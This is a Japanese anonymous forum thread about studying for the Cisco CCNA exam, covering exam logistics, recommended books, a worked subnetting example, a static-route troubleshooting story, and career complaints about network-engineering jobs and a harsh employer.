許可・許可・許可・・・・・・・・・暗黙のDeny Anyだから、通したいIPを追加すれば良い話なんじゃねぇの？

>>812
ん？うちは何もでませんが、何か。

資格資格言うなら「ちょっとは出せやゴルァ」と心の中で叫ぶ小心者であったｗ

保守、監視系の仕事は派遣と正社員ではどちらがいいでしょう？
なんか派遣の方がよさそうにも思えるのですが。
経験豊富な人教えてギボンヌ。

試験は在宅でネットにて受けるのでしょうか？
それとも試験会場が別に用意されるのでしょうか？
在宅ならカンニングできまくりんぐでは？

>>819
基本的に派遣はボーナスや退職金出無いしね。そこら辺考えないと。

>>820
申し込みはネットでできるけど授権は特設会場で会場に設置されたPCで受ける。大塚商会とかｗ
日本全国で100箇所くらいあったんじゃなかったかな？同じビル内で4会場とかあるけど。

>>821
未経験なんで派遣で経験積んだ方がいいのかなと思いまして。

この試験っていつでも受けられるのですか？

>>822
未経験だと派遣で採用してくれない。
「もっと経験を積んできてください」「経験が若干（＝だいぶ）足りませんね」
面談時の常套文句あとは「運」だけどね。

派遣ってのは派遣会社曰く「今までの経験で、その仕事を任せられる人材」らしい。

>>823
申し込み日の7日後以降（だったかな？）ならイツデモ。
試験時間帯は、会場によって異なるが、結構遅くまで実地している。
会場によって、土日非開催だったりするので自己確認よろ。

受験料が1万5千円以上するのか。高い。

>>825
ベンダー系資格の中じゃ一番安いほうでないの？

>>810です。解かり難いくてすいません。
今までNTTの回線を使用していたんですが、コストが高いので、他社の回線に順次移行してます。
今回、新しい拠点用にIPを振ったら、通信が出来ずTracertで調べるとNTT回線へ行ってしまう。
さらに調べると、NTT回線のルーターにスタティックルートが設定してありました。
統廃合された拠点のIPで、設定変更料8万をケチってそのままにしていたようです。
>811さんのおっしゃる通り、no　ip　routeを実行するば済むんですが・・
失敗したら、再設定またはstart　runと考えもしました。
各支店、支社等の本社側の受口なので、ミスした時を考えると怖くて出来ませんでした。
ネットワークエンジニアには向いてないと、自覚した瞬間でした・・

>816さん>815さんレスありがとうございます。


>825さん、俺はYahooオークションで少し安く手にいれています。
1万3千円で落札したが、送料500円　Yahoo決済700円　YahooID取得費用380円・・
思ったより出費してしまいました。

>>827
なんか今ひとつよくわからんｗ

>>828
>>827が言ってるのはつまり、「技術的にはできる」けど「失敗が怖くてやりたくない」んだろ？
どうせ失敗しても影響が出るのは自社内だけなんだし、なんとでもなると思うが。
ちなみに俺だったらやってる。もしくは移行後の設定が固まった段階で業者に出す。
(何回も変更すると金が無駄になるから)
もうひとつ言うと、そんなに大事な回線だったらルータの冗長化くらいされてないのか？
冗長構成になってれば1個死んだところで通信に影響は無いし、設定後の疎通確認を
してから回線活かせるじゃないか。

いつのまにか速習ナビゲータのNA版出てたけど、どうだろう？内容薄そうだけど？

>>829
NTT回線から他社回線に移行するわりに、ずさんなことしてるなぁと。

察するに大事な拠点のようだが、設定費用をｹﾁｯて通信ができてないようだが
それで業務的に問題が無いのだろうか？

>>827は自分で設定するのが「怖い」なら、その時点で業者に依頼するよう上司に提案すればいいだけ。
ルーター触れない自称ネットワークエンジニアなんてゴロゴロいる。

あ、漏れ828だった。

知識とかないのですが、この資格は独学でとれますか？
スクールみたいなとことに通った方がいいですか？

age

金をとるか？時間をとるか？
資格所得が目的か？資格がとれるくらいになりたいのか？

それ次第じゃね？

>>833
>>506

補足
TCP/IPのことが有る程度判ってるならばCiscoのコマンドや
ルーティングについて知識を補うだけで済むけど、
TCP/IPの知識自体がゼロだったりあやふやだと先は長いと思う。

実際、秀和問題集の１−２章はその辺の解説になってる。
この辺の確認問題や章末問題がｻｸｻｸ判らないようだと独学では時間掛かるんでないかな？

商売自体は、資格なくてもできる。

　しかし、本に書いてあるくらいの
知識がないと商売にならないのも事実。

よくわからんかったから
640-601Jの問題集買ってきて
三分の一ぐらいやってしもたorz

601Jじゃなくて607Jだ・・・二重にorz

ttp://piyopiyoko.hp.infoseek.co.jp/daily/gazou/10/apple1.jpg

↑　？？？？？？

黒本の総合問題９５％できてるんだけど（56/58)
これでも最近の本試験はきついの？

質問だけど禿和問題集にスイッチって2種類あってそれぞれコマンドが違う
でしょ？Catalyst 1900とCatalyst 2950この2つって使い分けしなければだめ？
本試験に出るの？　黒本だとこんなに詳細コマンドのってなかったのだが・・・（;´Д｀）

古い資料だが認定ガイドの3版の577ページにはこう書いてある

付録B Catalyst1900スイッチの設定
注意
1900スイッチの設定は、CCNA試験の直接の項目ではありません。しかし、この付録を勉強
するのは有用です。さらに、Ciscoテクノロジー全体の理解を助けます。

秀和は貸してて手元にないから分からん。

監視の仕事ってCCNA持ってれば未経験でも入れます？

持ってないけど未経験で入れた。
某一種通信事業者ざます。
むしろ夜勤ありのシフト勤務が出来る事が条件だろうなぁ。どこも。

CCNA取ってからは「履歴書だけで弾かれる」って事はなくなったね・・
変化はそれだけだが。

3年おきに更新とはもまんらも大変だな！！
医者ですら更新必要ないのに！！

思ったより就職に役立った。
テクネ、情シス持ちだけの時は未経験だと全く相手にされなっかが。

>>848
アメリカなどは更新ですよ。日本は遅れてますから、、
それに覚えてないとほんとにしゃれにならない仕事ですから。

でも覚えること覚えたらたいていのことはできるようになるから
更新はお布施みたいなもんかね

一度CCNA取ってて、それなりのNW系の仕事の経験積んでれば
別に無理して更新しなくても職には困らないよ。
俺更新なんてしてないけど上流工程に転職出来たし。
まぁ途中でCCNPは取ったけど。

今日受けますた
690点・・・だめぽ・・・ＯＲＺ
黒本だけじゃ本当にどうしようも無いと実感・・・
しかし禿和は「細かすぎるとおもうんだが・・・

皆さんどのくらい勉強やってます？
こちらは10日間やっただけですが・・・強制受講なのでむりですた

>>846
何歳ですか？

846=852です。
26歳。30までにCCIE取るよ。

>>855
俺は未経験でIT入った26歳。資格なし。
これからCCNA受ける。同い年なのにレベルが違うよ。うあ〜ん。

>>853
普通の人は10日じゃ無理だよ。
10日で取れるのは、悪魔に魂を売った人だけ。

なにその悪魔って？

>>857
ネクストワークスの社員発見！(ﾟ∀ﾟ)
セルフスタディキットのお陰で一週間で640-801に合格出来ましたが何か？

合格おめでとうございます。

>>857-860
.　　　　　　　　　　　　　　 　 　 ＿＿＿＿
　　　 _ 　　　　　　　　　　　　　| （・∀・） ｜
　　　｀)）　　　　　　　　　　　　 |￣￣￣￣
　　　 ´　　　　　　　　　　　　 ∧
　　　　　　　　　　　　　　　　<⌒>
　　　　　　　　　　 　 　 　　／⌒＼　　　　　　　　　ｼﾞｻｸｼﾞｴﾝ王国
　　　　　　 ＿＿＿＿＿____］皿皿［-∧-∧、
　　　　／三三三三三三∧_／＼_|,,|「|,,,|「|ミ^!、
　　＿_|￣田￣田 /￣￣Π . ∩　 |'|「|'''|「|||:ll;|
　/＿_,|==／＼＝ハ,￣￣|「|￣￣￣￣|「|￣￣|
/_| ロ ロ 「￣￣￣ | |　田 |「|　 田 田　|「|［［［［|
|ll.|ロ ロ,/| l⌒l.ｌ⌒l.| | 　 　|「| 　 　 　 　|「|ミミミミミミ

>>860のはたぶん嫌味だと思う

ccna対策本って、ネットワークの基礎すら全く知らない場合だとワケ分からんな。

そりゃアソシエイトつっても、本業にする人を前提としたアソシエイトだからねぇ・・・

NEってSEやプログラマみたいに頻繁にデスマ発生するんですか？

お前の言ってるNEは設計部隊のことか？
そんな発言してるような奴はすぐには設計にいけないから安心しとけ。

就職とかのために受験するなら、CCNAの勉強よりUNIX・Linuxを使えるように
なる方が良いとｵﾓﾜﾚ。。
UNIX・Linuxを使いこなせる香具師を必要としてる現場は多いからﾅ　orz

因みに漏れは資格手当て貰うためにCCNAを目指してるけど･･･

両方必要だろ、普通に。しかも最低限として。

CCNPとLPIC LV2で結構幸せになれるぞ。

そうかもね、一年経験つんだら見えてくるな

運用監視やっててCCNA持っている人の割合はどの程度ですか？
３〜４割は持ってますか？

1割も持ってないよ。
CCNAどころかIPアドレスやTCP/IPすら分からない奴ばっかだ。

ccna取れtら、保守いけるかな？

すいません、文系の学生なんすが、今年、就職しました。毎週、土曜日に入社前の教育でCCNAとCCNP
の勉強をさせられています。来年の4月までにCCNP4科目までとらなくてはいけないのですが、今CCNAの途中で挫折してます。サブネットの計算とか訳わかりません。
4月までにとらないと、営業にまわされてしまいます。どうすればCCNPまでとれますか？＠＠
僕は家にもパソコンありません。今漫画喫茶です。教えてください。営業は本当。簡便なので。

高くつくだろうけどスクール通えばいいんじゃない？

>>875
ｽｸｰﾙってなんていうところが有名ですか？＾＾；；　

>>874
まずはＣＣＮＡの本は置いといて、本屋に行って出来る限り薄くて
簡単そうで図が沢山のってるTCP/IP、ネットワークの本を買って来い。
それともう一冊、基本情報かシスアドの本の序盤を読め。
２進、１０進、１６進の基数変換が丁寧に載ってるから。

サブネットの計算なんて一番簡単じゃねぇかよ。
本試験でアドレスの計算問題が出たらラッキーと思えってなもんだ。
初めは分からんかもしれんが、問題集を数多くこなせば、なんてことないよ。

こことか、計算問題落ちてるんじゃね？
ttp://jibun.atmarkit.co.jp/scenter/ittrain/94_cal.html

>>874
数学も数�Tが一番とっかかりにくくて、ここさえマスターすれば
基礎解析・代数幾何・微分積分へ進むのは意外と楽。

…なのと同様、CCNAさえ突破出来れば基本的な知識が全てオッケーなので
CCNPはかなり勉強は楽になると思う。内容が細かくなるだけだから。
未経験の人がCCNAの時点ですら苦労するのは当たり前なので気にすることはない。

サブネットの計算って、２進数が解らないってこと？
２進数の計算だけ立ち読みするか、適当にｸﾞｸﾞﾚば解りやすいHPがあると思う。
これだけは慣れるしかないな。でも理解出来れば簡単かと。

問題：202.69.10.148/29のネットワークアドレスとブロードキャストアドレスを求めるお( ^ω^)

・/29→24桁プラス5桁がネットワークアドレス、という事はホストアドレスは残り3桁
・2進数で3桁で表せるのは0〜7だから、/29というのは8ずつサブネットが切られている。　
　8ずつという事は0〜7、8〜15、16〜23、24〜31…と切られている。
・148というのは8の倍数で言うと…144、152、160、168…の144〜151の中。
　よって202.69.10.148/29のネットワークアドレスは202.69.10.144、
　ブロードキャストアドレスは202.69.10.151。

>>874さんは上みたいな問題が難しいのですお？( ^ω^)
理屈を考えるより、問題沢山解けば意味も体で理解出来るお。
分厚い参考書も大切だけど、悩んだら何も考えずに問題を沢山こなす事をおすすめするお。

どこに住んでるかも解らないし、CCNA位でスクール通うのはお金がかかって大変だと思うお(；^ω^)
でも会社で実機を使ったり出来ないのであれば、リモートラボは使った方が良いと思うお( ^ω^)
頑張って欲しいんだお( ^ω^)

874です。
なるほど、慣れが重要なのですね。計算のとき　-2するのはこのネットワークアドレスとブロードキャストアドレスのためですよね？

>>880さん

答えをださないで、なにか問題だしてくれませんか？ちょっとそれを理解したか確かめたいので＾＾；

ゆとり教育やな〜

そやな〜

つーか文系だからって理由が意味不明なんですけど？？？？

>>884
別に文系だからとは書いてなくないか？？？

>>885
んじゃ一番最初に文系の学生って書くなよ。

>>880
「お」ってｷﾓｲ

つーか普通に考えて4月までにCCNPとるのはかなりきついだろ。卒論とかもあるだろ？
新人にそこまで求めるってどんな会社だよ

あれ？今年就職した文系卒の人じゃないの？
どっちにしたって一年でCCNP取得しろとは厳しいね。

ＣＣＮＰは鬼だなｗ　ＣＣＮＡならまだしもｗ　かなりハードな会社だなそりゃｗ
まぁｶﾞﾝﾊﾞﾚｗｗｗ

学ぶだけ学んだら辞めてしまえばいいんでないか？
それで他の会社に就職と

>>887
これかなぁ？

ブーンのガイドライン4
http://that3.2ch.net/test/read.cgi/gline/1114872889/

>>888
新人の私にメーカー（あんときゃYAMAHAだったけど）とのファームバグ交渉や
CALのライセンス料が納得できないとかでMSと喧嘩しろとか、
NTT東西を纏めて管理しろとか・・・・
交渉決裂（はなっから交渉になってないけど）は私の責任だとかでクビｗ

>>890
でも試験だけなら何とか・・・・ならんかな？ｗ
試験だけ合格しても使い物にならない気もするけどね。

CCNA・CCNPに合格したくせに
192.168.1.128/255.255.255.128で通信できないのを手順書のせいにする奴も居るし。

>>891
独学のみでCCNP取れだったら何も学べないかもね。
転職理由「CCNPに合格できなかったため退職」

>転職理由「CCNPに合格できなかったため退職」
そこまでバカ正直に言うやつはいないって、、、、
CCNA取ったらそれを評価してくれるところに移ればいい

>>894
次の面接時に言うとかじゃなくてね。
それにCCNAも合格できるとは限らんし。
資格の合否で退職ってのも何だかなぁと・・・
漏れの場合、突然の辞令「AT車の左足ブレーキ禁止令」で退社だがｗ

特に教えている側が、自分は判っている（思い込みを含む）と
判らない奴に対して「なんで、こんな簡単なことも判らんのだぁぁぁぁぁ」と
まともに教えようとしない。

>>880
>ネットワークアドレスとブロードキャストアドレス

そうそう、言葉の壁があるかもｗ
ネットワークはまだしも、グロードキャストって何？みたいな。

サブネットの/255.255.255.248と/29が同じってのも判りにくいのかもね。
表現（記述）の違いだけなんだけどね。

○ブロードキャスト
×グロードキャスト

・・・自分で馬鹿丸出し・・・ｼｮﾎﾞｰﾝ・・・

>>869
　どの程度、幸せになれるのでしょうか？

年収500万はいくとおもいます

>>874
この時期から入社前研修あるのかよ！！

ネタじゃないの？

CCNA取った香具師もいるみたいだから聞くけど、
ｵﾏｲﾗはどんな仕事してるんﾃﾞﾂｶ？
ｻｰﾊﾞｰ監視？障害切り分けﾚﾍﾞﾙ？
それとも、障害解析とか復旧対応ﾚﾍﾞﾙの仕事？
それ以外だったら、ﾈｯﾄﾜｰｸ構築とか、ﾙｰﾀ・ｽｲｯﾁの設定とか検証か？
CCNAﾚﾍﾞﾙじゃ、まだ設計・構築とか、ﾙｰﾀ設定もできないと思うが…　orz

漏れは、CCNA勉強してるのに、ｻｰﾊﾞｰ障害対応でSQLの知識を求められ
てるんだけど…　ｵﾗｸﾙでSQL文理解するってﾃﾞｰﾀﾍﾞｰｽの分野だよね…
こんなのって構築・設計行きたい香具師がするものなのか？　…orz
自分ではわけわかりません…　orz

>>900
はぁ？仕事なんだから自分がやりたいことだけできるわけねぇだろ。
つーか

CCNA勉強してるのに、

の件が意味不明。

>>900見てるとまるで開発をやりたくて会社に入ったのに営業にまわされていじけてるサラリーマンみたいだ。

>>900
CCNA合格前だが、ルーターの設定・WAN設計とかしたぞ。
まぁ、5拠点ほどの小規模WANだけどね。
一応、ネットワークエンジニアでの採用だから、それはいい。
NEなのに、トラックの運転が必須だった。そんな事もある。

・・・まぁ、いろいろあって退職した。
後任？のNEが普通免許あるくせにトラック運転できないとか、
ExcelVBAが判らないとか、IISって何？、SQLって何？状態らしい。
NT4.0serverの管理もできないとか、メーカーとの交渉もできないとか、ほざいてたなぁ〜。

CCNAかCCNP持ってるようだけど、そもそもそこのメインはYAMAHAルーターだしなぁ〜。
漏れにどうしたらいいのか？と尋ねるより、あんた（上司）が教えりゃ良いじゃん。

まぁ、NE兼SE兼PG兼営業兼ドライバーな何でも出来る人を、
月30万円/300時間程度で雇おうとするのが、そもそもの間違いだと思うのだがｗ

300時間！？

ええ、月の労働時間が300時間だった。

8時〜20時が定時、たまに22時だったり26時だったり。25〜26日出勤。
ちなみに繁忙期は22時が定時だった。ついでに残業代込みねｗ。徹夜しても別途支給はない。

NTT東日本のBﾌﾚが落ちたときも（ISPが落ちたときもあるけどね）
NTT東日本の客センに関西から電話が繋がらないのも私の責任らしいぞｗ

出来ないことを出来ないと言ったら、「お前みたいな奴は使い物にならん。辞めてしまえ」
と言うので、1ヵ月後、前言を撤回するか離職票を発行するかの選択を迫ったら
「残念ですが、離職票を・・・」と・・・・その「残念」と言う言葉でブチキレモード発動。
翌月には拠点拡張で、ルーターの手配やら設定やらあったが、ルーターは予備があったし
設定方法だけは記述して（まだ甘ったかな？）とっとと辞めてしまいましたｗ。

心底思ったのは・・・これで眠れると。

それはブラック企業なんじゃ、、、

トラックの運転は別にして、PG、NE、SE、CEなどの区別が付かない会社もあるって事だ。
まぁ、ExcelVBAの書籍（参考書）が欲しいと言うのに、Excelの使い方の本ばかり指差すしｗ

余談として色々とブラックな面もあったのは確かだｗ
NT4.0svやSQL7.0へのCAL足りないし・・・・
office2000のライセンスなんて全くない上に、NTT開発版なんて入れてるし
インストールしたのはNTTｺﾑｳｪｱやﾈｵﾒｲﾄ関西で、
NTT西日本との開発契約があるから問題ないとか言ってたが
それとライセンスは別問題。MSに通用するわけがないｗ

・・・そんな犯罪に絡む管理者は嫌じゃ〜〜〜〜〜〜〜〜〜〜〜と半年言い続けてクビ
ざっと見積もって300万円はMSへの寄付が足りない。
ブチキレモードの延長で、MSにチクッといたんだがなぁ〜ｗ

なんてつまんねーーーーー。
って思ってたけどやってみると結構楽しいね。

客先でルーター設定してうまく通信出来なかった時のあのプレッシャー・・・
下手にCCNPなんか取らない方がいい。

運用の2交代シフトで
仮眠させないところは普通ですか？

>>900
実際NEの需要ってどのくらいなものなのでしょうか
求人とか見てると結構募集かけてるけど人材不足なのか、または
900さんみたいにキツイ＆時間の割に低給ですぐやめちゃうからいつも募集してるの？

>>910
人材は不足してても、不足してる人材はとても優秀な人材なだけ
未経験者や経験の浅い技術者はあまりまくってる
求人が多いのは、無理な条件で優秀な人材を採用しようと思ってる企業が出してるだけ

とにかく、CCNAの勉強して、そのままCCNAで勉強したようなことに
関連した仕事できる香具師って、相当運がｲｲと思うｿﾞ　orz

>>912
やっぱそうだよなｗ
こんなのはただの就職のとっかかりみたいなもんだよ

資格って「これくらいのことができます」じゃなくて
「これくらいのことを勉強する意欲は有ります」ってのの意思表示みたいなもんかと思う

>>914
そうなのよ。その「試験受かった」ということで「この人は勉強意欲のある人」と
面接担当が判断するというのが一般的。
だから、ﾙｰﾀの設定とか社内LANの構築やりたいとかいう香具師が、
CCNA取って、その後ﾙｰﾀの触るﾁｬﾝｽがあるかどうかというのは、
現実の現場じゃ、かなり微妙って感じがする…　orz　現場で見てての感想
だから別に気にしなくてｲｲｹﾄﾞﾈ　w
　

細かいことですが…
ﾙｰﾀの触るﾁｬﾝｽ　×
ﾙｰﾀを触るﾁｬﾝｽ　○
…誤字ｽﾏｿ　orz

>>915
逆にルータの設定や社内LANの構築がやりたい人は、どげんしたらよかとですか？
やっぱコネと運かなぁ〜

ずっとCCNAで勉強した内容だけの仕事やっていたいのか？
楽でよさそうだが、、面白そうとはおもわねーな
男ならもっと上めざそうぜ！

>>917
そもそも会社でやりたい部門にいけること自体そうそうないんだからよほどすごい構築ができるってわかるぐらいの人じゃない限り運しかないだろうな。

>>919
>よほどすごい構築ができるってわかるぐらいの人

だから経験しないとすごい構築はできないって

CCNA取っても、職歴無しは最初は営業からじゃないかな。
試験自体は多くが勉強さえすれば大抵受かるものだしね。

>>920
ようするに子供のころからそういう経験ができるような環境下にある人か経験しなくても構築できる超天才かってこと。

子供のころからって、、、本気でいってんのかよｗｗｗｗ

すごい構築ができる人でも子供の時から機器に触っていたり天才だったりとは思わん。
既存の技術を使うだけなんだから全員練習次第で誰でもできる。

>>923
子供っておまいは小学生とかと考えてるんじゃなかろうな？ｗ

>>924
練習して構築するﾔｼなんて天才でもなんでもないだろ。
俺がいってるのは大して練習しなくても応用力の高い構築がスラスラできるﾔｼを指してるんだよ。

厨房、工房のときに最新のテクノロジに触る機会があったとしてもさ、
わずか数年で古いものになっちゃうだろ
実際CISCOの資格は3年で更新しなきゃいけない

それに凄い構築とか天才つってもどういう意味かわからんのだが
だれがsh runしても表示される情報はいっしょだから、
それをどれだけ正確に理解するかどうかじゃないのかな

LEDの点滅状況を見ただけで不調を見抜くやつは、ある意味天才なのかもしれないがな

文章がだんだんおかしくなってきたぜ
これこそ、この現場にふさわしいトポロジーだっ！てのがないわけで。
拡張、保守、運用、、構築だけがすべてじゃない
CCNAの試験ではトラブルシューティングはあるけど、トラブルを予測することはないだろ
結局ケーブルつなげてプロトコル一致させることは簡単なんだよ、説明書の通りなんだからさ
だけど人が使う限り問題がおきつづけるから、おきるであろう問題を見越せるかどうかが実力、才能なんじゃないか

そもそも俺は行きたい部門に行けることなんてほとんどありえんということを説明したかっただけなんだが話がどんどん変な方向に行ってるな。

才能の話はもう勘弁して。

925ｱﾎすぎ。ﾘｱ厨はｷｴﾚ。

結局どの本がいいの？

黒本教科書でいいんじゃないか？
問題は、ネットで転がってるヤツで十分な気がする。
実機触ってるなら、試験用の知識だけ詰め込んでおけば問題なく受かるよ。

構築云々って話だけどさ、
応用性の高い構築が何なのかわからんよ。
今じゃ機器安くなってるから、冗長ばしばし組んだり、他のベンダーの機器が混ざってたりする。
でも、そーゆーのは、一対一の基本的な構築で、どんな通信が流れていて、どんな制御が必要なのかがわかっていないと無理なわけで。
特にFWとかが絡んできたり、クライアントPCやらサーバやらがあると、もっと複雑になる。
それを『たいした練習しないで』は、絶対に無理だと思うんだよね。
NAとかNPに出てくるサンプル構成は、きれいだしシンプル。
でも、あれがしっかり判ってないと、新規構築も増設もできないよ。

お目汚しスンマソ

Ｊａｖａとどっちがいいっすか？

ルータの設定のちょっとしたお仕事がきた！
客先導入前の検証用としてISDN擬似交換機まで貸してくれ、
経験をつむのにはもってこいだったんだが、ルータがYAMAHAだった。。

NV4.0 with BSCIって、
Network 4.0 Visualizerの実習シナリオと同じ物はもちろん入っているんですよね？

今後CCNPも視野に入れる場合は、最初から「with BSCI」に逝っておいた方がお得？

>>932
絶対に無理と思われることをサラっとやってしまうのが天才だと思うんだ。

じゃあ俺は天才なのか、、

>>932
ありがとうございます。

ｼｽｺﾈｯﾄﾜｰｸｱｶﾃﾞﾐｰとか認定ガイドとか
教科書的なモノがなぜか手元にあるので（借りられた）
あとは問題集かなと思ってましたが

黒本の問題集はどうですか？？


ネットにある問題って中国系のところにある奴かな・・・・

無断でうｐされてるtestkingとかsybexのことか

すいません質問します
ttp://images-jp.amazon.com/images/P/4844319779.09.LZZZZZZZ.jpg

黒本ってこちらのことでしょうか?

それです。
僕はネットワークの基礎知識が無かったので、黒本から勉強を始めました。
黒本は素人脱却の入り口としてはわかり易くて、いい本です。
ただ、分かりやすさと引き換えに、簡単すぎて応用力が養えない為
黒本だけでのCCNA合格は難しいと言われていますね。

はぁ？？？？？？？
黒本だけでの合格が難しいとか言われてたのは問題集のほうだと思うが？？？？？？
つーかこの問題集出たの最近だろ？？？？？？？
お前頭だいだぶか？？？？？
おとなしく秀和と黒本問題集と日経問題集全部かっとけや

>>942
怒ってるの？ごめんね。

次スレでは、テンプレにおすすめ教材を追加しようよ

>>942
俺は941じゃないけど、黒本問題集と黒本教科書って違ったのね…
以後気をつけます。でも黒本問題集だけだと合格辛いのは本当っぽいですね。
分厚いけど、問題集は秀和システムのやつが良さげみたいです。

>>945
秀和のは問題集とうたってるけど、実際は教科書だね
オレはこれ使ったけどたしかに良いと思った。

問題集は実際に試験対策になってるのは今んとこ暇つぶし有料ぐらいしかないんじゃない？

http://company.nikkei.co.jp/index.cfm?scode=6835
これ見てへこんだ

暇つぶし問題有料ってそんなにいいの？

>>948
いいといゆうか他に選択肢が無い

>>949
そうなのですか、ありがとうございました

CCNA Express 2004ってどうなの？
値段もスクールに比べると格段に安いけど・・・